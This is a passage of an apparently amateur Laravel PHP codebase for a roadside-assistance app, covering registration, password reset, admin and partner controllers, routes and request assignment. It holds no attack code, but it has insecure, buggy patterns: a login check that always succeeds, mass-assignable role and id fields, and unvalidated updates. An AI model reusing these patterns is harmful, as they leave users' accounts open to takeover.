'LastName' => 'required' , 'FirstName' => 'required', 'MobileNo', 'BirthDay' => 'required', 'Address' => 'required', 'City' => 'required', 'ZipCode' => 'required', 'Email' => 'required|email|unique:users,Email', 'password' => 'required|min:6', 'CPassword' => 'same:password', 'Status', 'DateCreated', ]); if ($validator->fails()) { return response()->json(array('Email'=>$validator->getmessageBag()->first()), 412); } $input = $request->all(); $input['password'] = bcrypt($input['password']); $input['Status'] = "Pending"; $date = strtotime($input['BirthDay']); $input['BirthDay'] = date('Y-m-d', $date); $user = user::create($input); $success['token'] = $user->createToken('Rein')->accessToken; $this->html_email($input['Email']); return response()->json(["id" => 200], 200); } /** * details api * * @return \Illuminate\Http\Response */ public function ViewCar(Request $request) { $car = Car::where("userID", $request->userID)->get(); if($car) { return response()->json($car->all(),200); } else { return response()->json("ERROR",200); } } public function details() { $user = Auth::user(); return response()->json(['success' => $user], $this-> successStatus); } public function send(Request $request){ $user = User::where('id',$request->id)->update(["token" => $request->token]); if($user) { return response()->json(["Status" => "true"], 200); } else { return response()->json(["Status" => "false"], 401); } } public function sendforget(Request $request) { $email = $request->Email; $random = str_random(25); $flight = User::where('Email', $email)->update(["code" => $random]); Mail::send('forgetmail', ["data" => $request, "rand" => $random], function ($message) use ($email){ $message->to($email, $email)->subject ('Forget Password'); $message->from('rein.inquiry@gmail.com', 'REIN APP'); }); return response()->json(["Email"=>$email], 201); } public function html_email($email){ $random = str_random(8); // dd($random); $flight = User::where('Email', $email)->update(["code" => $random]); // $flight->code = $random; // $flight->save(); Mail::send('Mail', ["data" => $email, "rand" => $random], function($message) use ($email) { $message->to($email,$email)->subject ('Verification'); $message->from('rein.inquiry@gmail.com','REIN APP'); }); return response()->json(["Email" => "Hello"], 201); } public function html_email1(Request $request){ $input = $request->all(); $email = $input['Email']; Mail::send('Receipt', ["UniqueID" => $input['UniqueID'],"servicetype" => $input['servicetype'], "totalservice" => $input['totalservice']], function($message) use ($email) { $message->to($email,$email)->subject ('Verification'); $message->from('rein.inquiry@gmail.com','REIN APP'); }); return response()->json(["Email" => "Sent"], 200); } public function getuni(Request $request){ $unique = Reports::select("UniqueID")->where("ID", $request->ID)->pluck("UniqueID"); if($unique) { return response()->json($unique->all(),200); } else { return response()->json("ERROR",200); } } }``` ForgetController.php ```<?php namespace App\Http\Controllers\Web; use App\Http\Controllers\Controller; use App\User; use Illuminate\Http\Request; use Validator; class ForgetController extends Controller { public function index(Request $request) { $flight = User::where("code", $request->id)->get()->count(); if($flight == 0){ return abort(404); }else{ return view('forgetpassword')->with('id', $request->id); } } public function forgetpassword(Request $request){ $validator = Validator::make($request->all(),[ 'Email' => 'required|email|exist:user,Email', 'Password' => 'required|string', 'CPass' => 'required|string|same:Password', ]); if($validator->fails()){ return redirect()->back()->withErrors($validator->errors()); } $flight = User::where('code', $request->id) ->where('Email', $request->Email) ->update(["password" => bcrypt($request->password),"code"=>null]); return view('home'); } }``` AddAssistantController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; class AddAssistantController extends Controller { // public function index() { return view ('partnerCompany.AddAssistant'); } public function register(Request $request) { $validator = Validator::make($request->all(), [ 'FirstName' => 'required' , 'LastName' => 'required' , 'MobileNo' => 'required', 'Birthday' => 'required', 'Address' => 'required', 'City' => 'required', 'ZipCode' => 'required', 'Email' => 'required', 'password' => 'required|min:6', 'CPassword' => 'same:password', 'remember_token', // 'Status', // 'DateCreated' ]); // if ($validator->fails()) { // return response()->to(['error'=>$validator->errors()], 401); // } $input = $request->all(); $assistant = new User($input); $assistant->Password = bcrypt($input['Password']); //$user = users::create($input); $assistant->UserTypeID = 3; $assistant->Status = 'Not Verified'; if($assistant->save()){ return view('partnerCompany.Assistants'); } else { return "{Error: failed insert}"; } } } ``` Images.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class Images extends Model { // protected $fillable =[ 'ImageId','ImageRef','Image','DateSubmitted' ]; } ``` User.php ```<?php namespace App; use Laravel\Passport\HasApiTokens; use Illuminate\Notifications\Notifiable; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Foundation\Auth\User as Authenticatable; class User extends Authenticatable implements MustVerifyEmail { use HasApiTokens, Notifiable; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'id', 'UserTypeID','FirstName','LastName', 'CarID', 'MobileNo','BirthDay','Address','City','ZipCode', 'BusinessName', 'BusinessRegistrationNo','LTFRBRegistrationNo', 'Email','password','Status', 'DateCreated', ]; public $timestamps = false; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token','id' ]; } ``` web.php ```<?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ /* ADMIN REGISTRATION */ // Route::get('/admin/register', function(){ // if // return view('Admin.Register'); // }); Route::get('/admin/register', 'Web\Admin\AdminRegisterController@index'); Route::post('/welcome', 'Web\Admin\AdminRegisterController@register'); // GUEST Route::get('/', function(){ return view('landingPage'); }); // Route::get('/forgetpassword', function(){ // return view('forgetpassword'); // }); // Route::get('/forgotpassword/{id}', 'Web\ForgetController@index'); // Route::post('/forgotpassword/{id}', 'Web\ForgetController@forgetpassword'); Auth::Routes(['verify' => true]); Route::prefix('admin')->group(function() { Route::get('/login','Web\AdminAuth\AdminLoginController@showLoginForm')->name('admin.login'); Route::post('/login','Web\AdminAuth\AdminLoginController@login')->name('admin.login.submit'); Route::get('/logout', 'Web\AdminAuth\AdminLoginController@adminLogout')->name('admin.logout'); // Route::post('/password/email','Web\AdminAuth\ForgotPasswordController@sendResetLinkEmail')->name('admin.password.email'); Route::get('/home', 'Web\AdminController@index')->name('admin.home'); Route::get('/dashboard', 'Web\AdminController@index')->name('admin.dashboard'); Route::post('/home/filtered', 'Web\AdminController@daterange'); Route::post('/dashboard/filtered', 'Web\AdminController@daterange'); Route::resource('/partners', 'Web\Admin\PartnerController'); Route::resource('/motorists', 'Web\Admin\MotoristsController'); Route::get('/transactionlogs', 'Web\Admin\TransactionLogsController@index'); Route::get('/transactionlogs/{id}', 'Web\Admin\TransactionLogsController@showTransaction'); Route::get('/transactionlogs/downloadSingleTransaction/{id}', 'Web\Admin\TransactionLogsController@singleTransactionPDF'); Route::post('/transactionlogs/downloadFullTransaction', 'Web\Admin\TransactionLogsController@fulltransactionPDF'); Route::get('/useractivity', 'Web\Admin\UserActivityController@index')->name('admin.useractivity'); Route::get('/useractivity/{ID}', 'Web\Admin\UserActivityController@showUserActivity'); Route::post('/useractivity/filtered', 'Web\Admin\UserActivityController@daterange'); Route::resource('/adminfunction', 'Web\Admin\AdminFunctionController'); }); Route::prefix('partner')->group(function() { // Route::get('/verify/{id}', 'API\MailController@verify'); Route::get('/login','Web\PartnerAuth\PartnerLoginController@showLoginForm')->name('partner.login'); Route::post('/login','Web\PartnerAuth\PartnerLoginController@login')->name('partner.login.submit'); Route::get('/logout', 'Web\PartnerAuth\PartnerLoginController@partnerLogout')->name('partner.logout'); // Route::post('/password/email','Web\PartnerAuth\ForgotPasswordController@sendResetLinkEmail')->name('partner.password.email'); // Route::get('/password/reset','Web\PartnerAuth\ForgotPasswordController@showLinkRequestForm')->name('partner.password.request'); // Route::post('/password/reset','Web\PartnerAuth\ResetPasswordController@reset'); // Route::get('/password/reset/{token}','Web\PartnerAuth\ResetPasswordController@showResetForm')->name('partner.password.reset'); Route::get('/home', 'Web\PartnerController@index')->name('partner.home'); Route::get('/dashboard', 'Web\PartnerController@index')->name('partner.dashboard'); Route::post('/home/filtered', 'Web\PartnerController@daterange'); Route::post('/dashboard/filtered', 'Web\PartnerController@daterange'); // Route::resource('/requests', 'Web\PartnerCompany\RequestsController@index'); Route::get('/requests', 'Web\PartnerCompany\RequestsController@index')->name('partner.requests'); Route::get('/requests/{id}/accept', 'Web\PartnerCompany\RequestsController@showaccept'); Route::post('/requests/{id}/accepted', 'Web\PartnerCompany\RequestsController@accept'); Route::get('/requests/{id}/assign', 'Web\PartnerCompany\RequestsController@showassign'); Route::post('/requests/{id}/assigned', 'Web\PartnerCompany\RequestsController@assign'); Route::get('/requests/{id}/decline', 'Web\PartnerCompany\RequestsController@showdecline'); Route::post('/requests/{id}/declined', 'Web\PartnerCompany\RequestsController@decline'); Route::resource('/assistants', 'Web\PartnerCompany\AssistantsController'); Route::get('/transactionlogs', 'Web\PartnerCompany\TransactionLogsController@index'); Route::get('/transactionlogs/{id}', 'Web\PartnerCompany\TransactionLogsController@showTransaction'); Route::get('/transactionlogs/downloadSingleTransaction/{id}', 'Web\PartnerCompany\TransactionLogsController@singleTransactionPDF'); Route::post('/transactionlogs/downloadFullTransaction', 'Web\PartnerCompany\TransactionLogsController@fulltransactionPDF'); Route::get('/feedbacks', 'Web\PartnerCompany\FeedbacksController@index'); Route::get('/feedbacks/{ID}', 'Web\PartnerCompany\FeedbacksController@showFeedback'); }); ``` PartnerController.php ```<?php namespace App\Http\Controllers\Web\Admin; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; class PartnerController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:admin'); } public function index() { $users = User::where('UserTypeID', '=', 4) ->get(); return view ('partners.index', compact('users')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('partners.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // User::create($request->all()); // return redirect()->route('partners.index')->with('message','partner has been added successfully'); $this->validate($request, [ 'BusinessName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/', 'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/', 'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/', 'ZipCode' => 'required|max:4|regex:/^[0-9]*$/', 'BusinessRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/' , 'LTFRBRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/', 'MobileNo' => 'required|max:11|regex:/^[0-9]*$/', 'Email' => 'required|max:250|unique:users|', 'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/', 'CPassword' => 'same:password|required', 'g-recaptcha-response' => 'required|captcha', ],[ 'BusinessName.required' => 'Please input your Business Name' , 'BusinessName.max' => 'Your BusinessName input exceeds the maximum length.' , 'BusinessName.regex' => 'Your BusinessName input is invalid.' , 'Address.required' => 'Please input your Address', 'Address.regex' => 'Your Address input is invalid.' , 'City.required' => 'Please input your City ', 'City.max' => 'Your city input exceeds the maximum length.', 'City.regex' => 'Please input a valid city', 'ZipCode.required' => 'Please input your Zip Code', 'ZipCode.max' => 'Your zip code input exceeds the maximum length.', 'ZipCode.regex' => 'Your zip code input is invalid.', 'BusinessRegistrationNo.required' => 'Please input your Business Registration Number' , 'BusinessRegistrationNo.max' => 'Your Business Registration Number input exceeds the maximum length.' , 'BusinessRegistrationNo.regex' => 'Your Business Registration Number input is invalid.' , 'LTFRBRegistrationNo.required' => 'Please input your LTFRB Accreditation Number', 'LTFRBRegistrationNo.max' => 'Your LTFRB Accreditation Number input exceeds the maximum length.' , 'LTFRBRegistrationNo.regex' => 'Your LTFRB Accreditation Number input is invalid.' , 'MobileNo.required' => 'Please input your Mobile Number', 'MobileNo.max' => 'Please input a valid Mobile Number.', 'MobileNo.regex' => 'Please input a valid Mobile Number.', 'Email.required' => 'Please input your Email', 'Email.max' => 'Your email input exceeds the maximum length', 'Email.unique' => 'This email is already taken', 'password.required' => 'Please input a Password', 'password.max' => 'Your Password input exceeds the maximum length.', 'password.regex' => 'Your Password input must contain at least one uppercase, lowercase, numerical, and special character.', 'CPassword.required' => 'Please input a Password', 'CPassword.same' => 'Your password input should match.', ]); $input = $request->all(); $partnercompany = new User($input); $partnercompany->password = bcrypt($input['password']); $partnercompany->UserTypeID = 4; $partnercompany->Status = 'Activated'; //verify email if($partnercompany->save()){ //user logs insert $getadminid = Auth::user(); $getid = $getadminid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Partner Registration", 'Description' => "Registered Partner Company's Account Successfully"]); return redirect()->route('partners.index')->with('message','partner has been added successfully'); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function search(Request $request){ } public function show($id) { $user = User::find($id); return view('partners.show', compact('user')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $user = User::find($id); return view('partners.edit', compact('user')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $this->validate($request, [ 'BusinessName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/', 'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/', 'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/', 'ZipCode' => 'required|max:4|regex:/^[0-9]*$/', 'BusinessRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/' , 'LTFRBRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/', 'MobileNo' => 'required|max:11|regex:/^[0-9]*$/', 'Email' => 'required|max:250|email', 'g-recaptcha-response' => 'required|captcha', ],[ 'BusinessName.required' => 'Please input your Business Name' , 'BusinessName.max' => 'Your BusinessName input exceeds the maximum length.' , 'BusinessName.regex' => 'Your BusinessName input is invalid.' , 'Address.required' => 'Please input your Address', 'Address.regex' => 'Your Address input is invalid.' , 'City.required' => 'Please input your City ', 'City.max' => 'Your city input exceeds the maximum length.', 'City.regex' => 'Please input a valid city', 'ZipCode.required' => 'Please input your Zip Code', 'ZipCode.max' => 'Your zip code input exceeds the maximum length.', 'ZipCode.regex' => 'Your zip code input is invalid.', 'BusinessRegistrationNo.required' => 'Please input your Business Registration Number' , 'BusinessRegistrationNo.max' => 'Your Business Registration Number input exceeds the maximum length.' , 'BusinessRegistrationNo.regex' => 'Your Business Registration Number input is invalid.' , 'LTFRBRegistrationNo.required' => 'Please input your LTFRB Accreditation Number', 'LTFRBRegistrationNo.max' => 'Your LTFRB Accreditation Number input exceeds the maximum length.' , 'LTFRBRegistrationNo.regex' => 'Your LTFRB Accreditation Number input is invalid.' , 'MobileNo.required' => 'Please input your Mobile Number', 'MobileNo.max' => 'Please input a valid Mobile Number.', 'MobileNo.regex' => 'Please input a valid Mobile Number.', 'Email.required' => 'Please input your Email', 'Email' => 'Your email input is invalid', ]); User::find($id)->update($request->all()); $getassistant = ['PartnerCompany' => $id]; $assistant = DB::table('users') ->where($getassistant) ->update(['Status' => 'Deactivated']); $getadminid = Auth::user(); $getid = $getadminid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Update Partner", 'TargetUser' => $id, 'Description' => "Updated Partner Company's Account Successfully"]); // $user->update($request->all()); return redirect()->route('partners.index')->with('message','item has been updated successfully'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` Complaints.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class Complaints extends Model { // protected $fillable =[ 'ComplaintsId','TransactionLogId','Complaint','DateSubmitted' ]; } ``` RequestsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\Http\Controllers\Controller; use App\Reports; use App\User; use Auth; use DB; use FCM; use Illuminate\Http\Request; use LaravelFCM\Message\OptionsBuilder; use LaravelFCM\Message\PayloadDataBuilder; use LaravelFCM\Message\PayloadNotificationBuilder; use Mapper; class RequestsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:partner'); } public function index() { $getpartner = Auth::user(); $partner = $getpartner->id; $pending = ['status' => 'Pending']; $accepted = ['status' => 'Pending', 'partner' => $partner]; $assigned = ['status' => 'Assigned']; $ongoing = ['status' => 'Ongoing']; $done = ['status' => 'Done']; $declined = ['status' => 'Declined']; $notstatus =[$assigned, $ongoing, $done, $declined]; $reports = Reports::where($pending) ->orWhere($accepted) ->WhereNotIn('status', $notstatus) ->with('user') ->get(); // $getmotorist = ['id' => $reports->userID]; // // $motorists = DB::table('users') // // ->where($getmotorist) // // ->get(); // dd($getmotorist); return view ('Partner.Requests', compact('reports')); //, 'motorists' } /**s * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function showaccept($ID) { $reports = Reports::find($ID); $getmotoristdetails = ['id' => $reports->userID]; $motorist = User::where($getmotoristdetails)->get()->first(); $recordMap = reports::all(); $getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat'); $getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon'); $map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]); $getcar = ['ID' => $reports->CarID]; $car = DB::table ('cars') ->where($getcar) ->get() ->first(); $cartype = DB::table('types') ->where('id', '=', $car->carTypeID ) ->get() ->first(); $carbrand = DB::table('brand') ->where('id' , '=', $car->brandID) ->get() ->first(); return view('Partner.AcceptRequest', compact('reports', 'motorist', 'car', 'cartype', 'carbrand', 'map')); } public function accept($ID) { $getpartner = Auth::user(); DB::table('reports') ->where('id', $ID) ->update(['status' => "Accepted", 'partner' => $getpartner->id]); $report = Reports::find($ID); DB::table('user_logs') ->insert(['UserID' => $getpartner->id, 'Type' => "Accepted",'ReportsID' => $ID, 'TargetUser' => $report->userID,'Description' => "Request Accepted"]); return redirect('partner/requests'); // return redirect()->intended(route('partner.requests'));//->with('message', 'Request has been accepted successfully')); } public function showassign($ID) { $getpartner = Auth::user(); $partner = $getpartner->id; $getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2', 'AssignStatus' => 'Available', 'Status' => 'Activated']; $reports = Reports::find($ID); $users = User::where($getassistant)->get(); $getmotoristdetails = ['id' => $reports->userID]; $motorist = User::where($getmotoristdetails)->get()->first(); $getcar = ['ID' => $reports->CarID]; $car = DB::table ('cars') ->where($getcar) ->get() ->first(); $getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat'); $getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon'); $map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]); $cartype = DB::table('types') ->where('id', '=', $car->carTypeID ) ->get() ->first(); $carbrand = DB::table('brand') ->where('id' , '=', $car->brandID) ->get() ->first(); // dd($car); return view('Partner.AssignRequest', compact('reports', 'users', 'motorist', 'car', 'cartype', 'carbrand')); } public function assign(Request $request, $id) { $getpartner = Auth::user(); $partner = $getpartner->id; $assistant = $request->input('assistant'); DB::table('reports') ->where('id', $id) ->update(['status' => "Assigned", 'assistant' => $assistant]); DB::table('users') ->where('id', $assistant) ->update(['AssignStatus' => "Not Available"]); DB::table('user_logs') ->insert(['UserID' => $partner, 'Type' => "Assigned", 'TargetUser' => $assistant, 'ReportsID' => $id, 'Description' => "Request Assigned"]); $optionBuilder = new OptionsBuilder(); $optionBuilder->setTimeToLive(60 * 20); $notificationBuilder = new PayloadNotificationBuilder('Assigned Task'); $notificationBuilder->setBody('Please go to the service site immediately') ->setSound('default'); $dataBuilder = new PayloadDataBuilder(); $dataBuilder->addData(['status' => 'Assigned', 'id' => $id]); $option = $optionBuilder->build(); $notification = $notificationBuilder->build(); $data = $dataBuilder->build(); $report = Reports::find($id); $UserFCMToken = User::find($report->userID); $UserFCMToken2 = User::find($report->assistant); // dd($UserFCMToken); if ($UserFCMToken->token == null) { } else { $downstreamResponse = FCM::sendTo($UserFCMToken->token, $option, $notification, $data); $downstreamResponse = FCM::sendTo($UserFCMToken2->token, $option, $notification, $data); } return redirect('partner/requests'); //return redirect()->intended(route('partner.requests'))->with('message','item has been updated successfully'); } public function showdecline($ID) { $reports = Reports::find($ID); $getpartner = Auth::user(); $getmotoristdetails = ['id' => $reports->userID]; $motorist = User::where($getmotoristdetails)->get()->first(); $getcar = ['ID' => $reports->CarID]; $car = DB::table ('cars') ->where($getcar) ->get() ->first(); $getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat'); $getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon'); $map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]); $cartype = DB::table('types') ->where('id', '=', $car->carTypeID ) ->get() ->first(); $carbrand = DB::table('brand') ->where('id' , '=', $car->brandID) ->get() ->first(); $getdeclinedrequests = ['partner' => $getpartner->id, 'status' => 'Declined']; $declinerequests = DB::table('reports') ->where($getdeclinedrequests) ->count(); return view('Partner.DeclineRequest', compact('reports', 'motorist', 'car', 'cartype', 'carbrand', 'map', 'declinerequests')); } public function decline($ID) { $getpartner = Auth::user(); DB::table('reports') ->where('id', $ID) ->update(['status' => "Declined", 'partner' => $getpartner->id]); $getdeclinedrequests = ['partner' => $getpartner->id, 'status' => 'Declined']; $declinerequests = DB::table('reports') ->where($getdeclinedrequests) ->count(); $report = Reports::find($ID); DB::table('user_logs') ->insert(['UserID' => $getpartner->id, 'Type' => "Declined",'ReportsID' => $ID, 'TargetUser' => $report->userID,'Description' => "Request Declined"]); return view('partner/requests'); } public function destroy($id) { } } ``` UserLogs.php ```<?php namespace App; use Illuminate\Database\Eloquent\Model; class UserLogs extends Model { // protected $fillable =[ 'ID','Type', 'UserID', 'Description', 'TargetUser', 'ReportsID', 'PaymentsID', 'Date' ]; public function user() { return $this->belongsTo('App\User', 'UserID'); } } ``` AdminFunctionController.php ```<?php namespace App\Http\Controllers\Web\Admin; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use Hash; class AdminFunctionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:admin'); } public function index() { $users = User::where('UserTypeID', '=', 1) ->get(); return view ('adminfunction.index', compact('users')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('adminfunction.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $this->validate($request, [ 'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' , 'Email' => 'required|max:250|unique:users|email', 'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/', 'CPassword' => 'same:password|required', 'g-recaptcha-response' => 'required|captcha', ], [ 'FirstName.required' => 'Please input your Firstname.' , 'FirstName.max' => 'Your firstname input exceeds the maximum length.' , 'FirstName.regex' => 'Your firstname input is invalid.' , 'LastName.required' => 'Please input your Lastname.' , 'LastName.max' => 'Your lastname input exceeds the maximum length.' , 'LastName.regex' => 'Your lastname input is invalid.' , 'Email.required' => 'Please input your email address', 'Email.max' => 'Your email address input exceeds the maximum length.', 'Email.unique' => 'This email is already taken', 'Email.regex' => 'Your email address input is invalid.', 'Email' => 'Your email input is invalid.', 'password.required' => 'Please input a password.', 'password.min' => 'Your password input is too short.', 'password.max' => 'Your password input exceeds the maximum length.', 'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.', 'CPassword.same' => 'Your password input should match.', 'CPassword.required' => 'Your password input a password.', ]); // if ($validator->fails()) { // return response()->to(['error'=>$validator->errors()], 401); // } $input = $request->all(); $admin = new User($input); $admin->password = bcrypt($input['password']); $admin->UserTypeID = 1; $admin->Status = 'Activated'; if($admin->save()){ //user logs insert $getadminid = Auth::user(); $getid = $getadminid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Admin Registration", 'Description' => "Registered an Admin Account Successfully"]); return redirect()->route('adminfunction.index'); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $user = User::find($id); return view('adminfunction.show', compact('user')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $user = User::find($id); return view('adminfunction.edit', compact('user')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $this->validate($request, [ 'Email' => 'required|max:250|email', 'g-recaptcha-response' => 'required|captcha', ], [ 'Email.required' => 'Please input your email address', 'Email.max' => 'Your email address input exceeds the maximum length.', 'Email.regex' => 'Your email address input is invalid.', 'Email' => 'Your email input is invalid.', ]); User::find($id)->update($request->all()); $getadminid = Auth::user(); $getid = $getadminid->id; DB::table('user_logs') ->insert(['UserID' => $getid, 'Type' => "Update Admin", 'TargetUser' => $id, 'Description' => "Updated Admin's Account Successfully"]); // $user->update($request->all()); return redirect()->route('adminfunction.index'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` FeedbacksController.php ```<?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Feedbacks; use Illuminate\Support\Facades\Auth; use Validator; class FeedbacksController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // $records = Feedbacks::all(); if(count($records)> 0){ return Feedbacks::all(); }else{ return response()->json("No Records Found"); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response * */ public function store(Request $request) { $validator = Validator::make($request->all(), [ 'reportID', 'review' => 'required', 'DateSubmitted', ]); if ($validator->fails()) { return response()->json(['error'=>$validator->errors()], 401); } $input = $request->all(); $feedbacks = Feedbacks::create($input); return response()->json("Success",200); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show(Request $request) { if (Auth::check()) { $results = Feedbacks::find($request); return $results; } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` WebAdminController.php ```<?php namespace App\Http\Controllers\Web; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; class WebAdminController extends Controller { public function index() { //Admin Login View return view('admin.Login'); } public function home() { //Admin Home (Dashboard) View return view('admin.Home'); } public function partners() { //list of partners get method return view('admin.Partners'); } public function viewPartners(){ //List of Partners View post method } public function partnerProfile() { //Profile of Partners View get method return view ('admin.ViewPartner'); } public function viewPartnerProfile() { //Profile of Partners View post method } public function add() { //Register Partner View return view ('admin.AddPartner'); } public function addPartner(Request $request) { //Register Partner $validator = Validator::make($request->all(), [ 'BusinessName' => 'required' , 'Address' => 'required', 'City' => 'required', 'ZipCode' => 'required', 'BusinessRegistrationNo' => 'required' , 'LTFRBRegistrationNo' => 'required', 'MobileNo' => 'required', 'Email' => 'required', 'password' => 'required|min:6', 'CPassword' => 'same:password', // 'Status', 'DateCreated' ]); if ($validator->fails()) { return response()->to(['error'=>$validator->errors()], 401); } $input = $request->all(); $partnercompany = new User($input); $partnercompany->Password = bcrypt($input['Password']); //$user = users::create($input); $partnercompany->UserTypeID = 2; if($admin->save()){ return view('admin.Partners'); } else { return "{Error: failed insert}"; } } public function updatePartner() { //Update or Suspend a Partner Account View return view ('admin.UpdatePartner'); } public function logs() { //Tranaction Logs View return view ('admin.TransactionLogs'); } public function motorists() { //List of Motorists View return view ('admin.Motorists'); } public function updateMotorist() { //Suspend Pprofile of Motorists View return view ('admin.UpdateMotorist'); } public function motoristProfile() { //Profile of Motorists View return view ('admin.ViewMotorist'); } //AdminRegister public function register(Request $request) { return view('admin.AdminRegister'); } public function addAdmin(Request $request) { $validator = Validator::make($request->all(), [ 'FirstName' => 'required' , 'LastName' => 'required', 'Email' => 'required|', 'password' => 'required|min:6', 'CPassword' => 'same:password', ]); if ($validator->fails()) { return response()->to(['error'=>$validator->errors()], 401); } $input = $request->all(); $admin = new User($input); $admin->password = bcrypt($input['password']); //$user = users::create($input); $admin->UserTypeID = 1; if($admin->save()){ return view('admin.Home'); } else { return "{Error: failed insert}"; } } public function login(Request $request){ $Credentials = ['Email' => request('Email'), 'Password' => request('Password'),]; $Password = bcrypt(request('Password')); if(User::where('Email', request('Email'), ('Password' ) )){ return view ('admin.Home'); } else { return 'Login Failed'; } } } ``` UserActivityController.php ```<?php namespace App\Http\Controllers\Web\Admin; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\DB; use App\UserLogs; use Illuminate\Support\Carbon; class UserActivityController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:admin'); } public function index() { $userlogs = UserLogs::with('user') ->get(); // dd($userlogs); date_default_timezone_set('Asia/Manila'); $start = Carbon::now(); $end = Carbon::now(); return view('Admin.UserActivity',compact('userlogs', 'user', 'start', 'end')); } public function daterange(Request $request) { date_default_timezone_set('Asia/Manila'); $start = Carbon::parse($request->start)->startOfDay(); $end = Carbon::parse($request->end)->endOfDay(); $userlogs = UserLogs::whereBetween('Date', array(new Carbon($start), new 